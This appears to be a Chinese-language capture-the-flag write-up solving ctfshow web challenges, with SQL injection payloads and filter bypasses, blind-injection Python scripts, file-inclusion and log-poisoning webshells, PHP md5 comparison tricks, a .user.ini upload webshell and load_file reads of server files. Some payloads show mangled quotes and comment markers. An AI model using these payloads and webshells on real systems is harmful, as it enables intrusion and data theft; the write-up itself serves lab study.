ctfshow web(非web入门)

web签到题

ctfshow web(非web入门)

查看源代码:

ctfshow web(非web入门)

base64解码即可:

ctfshow web(非web入门)

web2

题目提示:最简单的sql注入

ctfshow web(非web入门)

使用admin’or 1=1#登录成功

ctfshow web(非web入门)

admin’ union select 1,2,3# 获得注入位置

admin’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()# 获得表(flag,user)

admin’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘flag’# 获得列(flag)

admin’ union select 1,group_concat(flag),3 from flag# 获得flag

ctfshow web(非web入门)

Web3

题目提示:更简单的web题

ctfshow web(非web入门)

是一个文件包含,使用data协议

?url=data://text/plain,<?PHP system('ls');?>

ctfshow web(非web入门)

查看ctf_go_go_go文件即可

ctfshow web(非web入门)

web4

ctfshow web(非web入门)

文件包含,过虑了几种协议,可以包含日志

?url=/var/log/nginx/access.log

ctfshow web(非web入门)

使用ua头写入木马

ctfshow web(非web入门)

包含日志,调用木马

ctfshow web(非web入门)

ctfshow web(非web入门)

flag文件在/var/www目录下

web5

直接给php源码了

    <?php
        $flag="";
        $v1=$_GET['v1'];
        $v2=$_GET['v2'];
        if(isset($v1) && isset($v2)){
            if(!ctype_alpha($v1)){
                die("v1 error");
            }
            if(!is_numeric($v2)){
                die("v2 error");
            }
            if(md5($v1)==md5($v2)){
                echo $flag;
            }
        }else{
        
            echo "where is flag?";
        }
    ?>

v1必须为字母 v2必须为数字 md5弱比较,如果md5加密后前两位是0e则判断为相等

?v1=QNKCDZO&v2=240610708

ctfshow web(非web入门)

web6

ctfshow web(非web入门)

sql注入过虑了空格使用/**/代替

username=admin’//or//1=1#&password=1 回显正常

username=admin’//union//select//1,group_concat(table_name),3//from//information_schema.tables//where/**/table_schema=database()#&password=1 获得表(flag,user)

username=admin’//union//select//1,group_concat(column_name),3//from//information_schema.columns//where/**/table_name=‘flag’#&password=1 获得列(flag)

username=admin’//union//select//1,group_concat(flag),3//from/**/flag#&password=1 获得flag

ctfshow web(非web入门)

web7

ctfshow web(非web入门)

随便点开一篇文章,看到url中有传参,猜测是sql注入

ctfshow web(非web入门)

过虑了空格使用/**/代替 使用– 进行注入

?id=-3//union//select/**/1,2,3–

?id=-3//union//select//1,group_concat(table_name),3//from//information_schema.tables//where/**/table_schema=database()-- (flag,page,user)

不能获得列,换一种思路

使用布尔注入,如果为真则返回全部文章,如果为假则不返回

为真:

ctfshow web(非web入门)

为假:

ctfshow web(非web入门)

上脚本

import requests

flag = ''
url = 'http://ef25a6c5-9a64-44cd-920b-86847aaaa9a7.challenge.ctf.show'
for i in range(100):
    for j in range(32,128):
        #获得表:?id=-1/**/or/**/ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),{},1))={}
        #获得列:?id=-1/**/or/**/ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name="flag"),{},1))={}
        #
        payload = '?id=-1/**/or/**/ascii(substr((select/**/group_concat(flag)/**/from/**/flag),{},1))={}'.format(i,j)
        res = requests.get(url=url+payload)

        if("A Child's Dream of a Star" in res.text):
            flag += chr(j)
            print(flag)

web8

在上一题的基础上过虑了union和,

直接上脚本:

# -*- codeing = utf-8 -*-
# @Time : 2021/10/15 22:46
# @Author : CCc1
# @Software: PyCharm

import requests

url = 'http://0b9a2b99-5e7f-411e-9c17-8ab245c72351.challenge.ctf.show/index.php'
flag = ''

import requests
s=requests.session()
url='http://0b9a2b99-5e7f-411e-9c17-8ab245c72351.challenge.ctf.show/index.php'
table=""

for i in range(1,45):
    for j in range(31,128):
        #爆表名  flag
        #payload = "ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
        #爆字段名 flag
        #payload = "ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
        #读取flag
        payload = "ascii(substr((select/**/flag/**/from/**/flag)from/**/%s/**/for/**/1))=%s#"%(str(i), str(j))

        ra = s.get(url=url + '?id=0/**/or/**/' + payload).text

        if 'I asked nothing' in ra:
            table += chr(j)
            print(table)
            break


web9

ctfshow web(非web入门)

访问robots.txt,获得index.phps

ctfshow web(非web入门)

index.php源码:



<?php
        $flag="";
		$password=$_POST['password'];
		if(strlen($password)>10){
			die("password error");
		}
		$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
		$result=mysqli_query($con,$sql);
			if(mysqli_num_rows($result)>0){
					while($row=mysqli_fetch_assoc($result)){
						 echo "登陆成功<br>";
						 echo $flag;
					 }
			}
    ?>


可以看到登录成功就有flag

有一个特殊的字符串,可以绕过md5($str,true)

ffifdyop

ffifdyop这个字符串md5加密后为:276f722736c95d99e921722cf9ed621c

转换成字符串为:'or’66�]��!r,��b

sql语句就为:select * from user where username =‘admin’ and password =’'or’6xxxx’

就能登录成功

ctfshow web(非web入门)

web10

ctfshow web(非web入门)

点击取消可以获得index.phps

ctfshow web(非web入门)

源码:



<?php
		$flag="";
        function replaceSpecialChar($strParam){
             $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
             return preg_replace($regex,"",$strParam);
        }
        if (!$con)
        {
            die('Could not connect: ' . mysqli_error());
        }
		if(strlen($username)!=strlen(replaceSpecialChar($username))){
			die("sql inject error");
		}
		if(strlen($password)!=strlen(replaceSpecialChar($password))){
			die("sql inject error");
		}
		$sql="select * from user where username = '$username'";
		$result=mysqli_query($con,$sql);
			if(mysqli_num_rows($result)>0){
					while($row=mysqli_fetch_assoc($result)){
						if($password==$row['password']){
							echo "登陆成功<br>";
							echo $flag;
						}

					 }
			}
    ?>


把常用的都给过虑了

        function replaceSpecialChar($strParam){
             $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
             return preg_replace($regex,"",$strParam);
        }

因为下面这个条件,不能使用双写绕过

if(strlen($username)!=strlen(replaceSpecialChar($username))){
			die("sql inject error");
		}
		if(strlen($password)!=strlen(replaceSpecialChar($password))){
			die("sql inject error");
		}

mysql中group by会对值进行排列

ctfshow web(非web入门)

with rollup(group by后可以跟with rollup,在分组的基础上再次进行汇总)

count()统计有多少个

ctfshow web(非web入门)

最后会的得到一行password为null的汇总之和,这样password为空就可以绕过了

username=admin’or//1=1//group//by//password//with//rollup#&password=

ctfshow web(非web入门)

web11

ctfshow web(非web入门)

给了一段代码:

<?php
        function replaceSpecialChar($strParam){
             $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
             return preg_replace($regex,"",$strParam);
        }
        if(strlen($password)!=strlen(replaceSpecialChar($password))){
            die("sql inject error");
        }
        if($password==$_SESSION['password']){
            echo $flag;
        }else{
            echo "error";
        }
    ?>


p a s s w o r d = = password== password==_SESSION[‘password’]的时候才能获得flag

先抓个包

ctfshow web(非web入门)

可以看到cookie中包含了session,并且password以get方式传值,

可以将cookie中的phpsessid删除这样就会使的$_SESSION[‘password’]为空,然后将password的值改为空

这样就能 p a s s w o r d = = password== password==_SESSION[‘password’]

ctfshow web(非web入门)

web12

ctfshow web(非web入门)

查看源代码,发现一个提示:?cmd=

ctfshow web(非web入门)

查看一下phpinfo

?cmd=phpinfo();

发现把能用的函数基本都过虑了

ctfshow web(非web入门)

使用print_r和scandir或glob查看本目录文件

?cmd=print_r(scandir(’.’));

?cmd=print_r(glob(’*’));

ctfshow web(非web入门)

然后使用highlight_file()函数将flag文件显示出来

?cmd=highlight_file(‘903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php’);

ctfshow web(非web入门)

web13

ctfshow web(非web入门)

经过测试不能能上传php文件 php文件中不能有_(看到源码后发现是错误的),可以上传.user.ini

ctfshow web(非web入门)

在上传一个1.png内容为:

<?php system(‘ls’);?>

ctfshow web(非web入门)

然后访问首页,可以看到目录下的文件,发现有一个upload.php.bak,把它下载下来

ctfshow web(非web入门)

源码:

<?php 
	header("content-type:text/html;charset=utf-8");
	$filename = $_FILES['file']['name'];
	$temp_name = $_FILES['file']['tmp_name'];
	$size = $_FILES['file']['size'];
	$error = $_FILES['file']['error'];
	$arr = pathinfo($filename);
	$ext_suffix = $arr['extension'];
	if ($size > 24){
		die("error file zise");
	}
	if (strlen($filename)>9){
		die("error file name");
	}
	if(strlen($ext_suffix)>3){
		die("error suffix");
	}
	if(preg_match("/php/i",$ext_suffix)){
		die("error suffix");
    }
    if(preg_match("/php/i"),$filename)){
        die("error file name");
    }
	if (move_uploaded_file($temp_name, './'.$filename)){
		echo "文件上传成功!";
	}else{
		echo "文件上传失败!";
	}

 ?>

文件大小不能超过24

文件名长度不能超过9

不能是php后缀

使用短标签进行获得flag

继续上传1.png内容为:

<?=system('cat 9*');?>

ctfshow web(非web入门)

web14

源码:

<?php
include("secret.php");

if(isset($_GET['c'])){
    $c = intval($_GET['c']);
    sleep($c);
    switch ($c) {
        case 1:
            echo '$url';
            break;
        case 2:
            echo '@A@';
            break;
        case 555555:
            echo $url;
        case 44444:
            echo "@A@";
            break;
        case 3333:
            echo $url;
            break;
        case 222:
            echo '@A@';
            break;
        case 222:
            echo '@A@';
            break;
        case 3333:
            echo $url;
            break;
        case 44444:
            echo '@A@';
        case 555555:
            echo $url;
            break;
        case 3:
            echo '@A@';
        case 6000000:
            echo "$url";
        case 1:
            echo '@A@';
            break;
    }
}

highlight_file(__FILE__);

switch有一个特性,如果case没有遇到break则执行下面的case直到有break

可以看到下方代码,没有break并且可以输出$url

        case 3:
            echo '@A@';
        case 6000000:
            echo "$url";

ctfshow web(非web入门)

获得here_1s_your_f1ag.php文件

访问是一个查询页面

ctfshow web(非web入门)

输入flag发现报错,猜测是注入

ctfshow web(非web入门)

进行抓包,输入‘报错

ctfshow web(非web入门)

过虑了空格

?query=1//and//1=1# 回显正常

query中不能有information_schema.tables information_schema.columns linestring polygon

可以使用反引号进行绕过

反引号是为了区分mysql的保留字于普通字符而引入的符号

ctfshow web(非web入门)

?query=-1//union//select/**/database()# 获得当前数据库(web)

?query=-1//union//select//group_concat(table_name)//from//information_schema.tables//where/**/table_schema=database()# 获得表(content)

?query=-1//union//select//group_concat(column_name)//from//information_schema.columns//where/**/table_name=‘content’#获得列(id,username,password)

?query=-1//union//select//group_concat(id,username,password)//from/**/content# 读取数据发现是假flag

ctfshow web(非web入门)

根据提示tell you a secret,secret has a secret…

猜测flag可能在secret.php文件中

进行读取:

?query=-1//union//select/**/load_file(’/var/www/html/secret.php’)#

获得源码:

<?php
$url = 'here_1s_your_f1ag.php';
$file = '/tmp/gtf1y';
if(trim(@file_get_contents($file)) === 'ctf.show'){
	echo file_get_contents('/real_flag_is_here');
}

接着读取/real_flag_is_here

?query=-1//union//select/**/load_file(’/real_flag_is_here’)#

ctfshow web(非web入门)

上一篇:ctfshow web入门 文件包含


下一篇:ctfshow web入门-XXE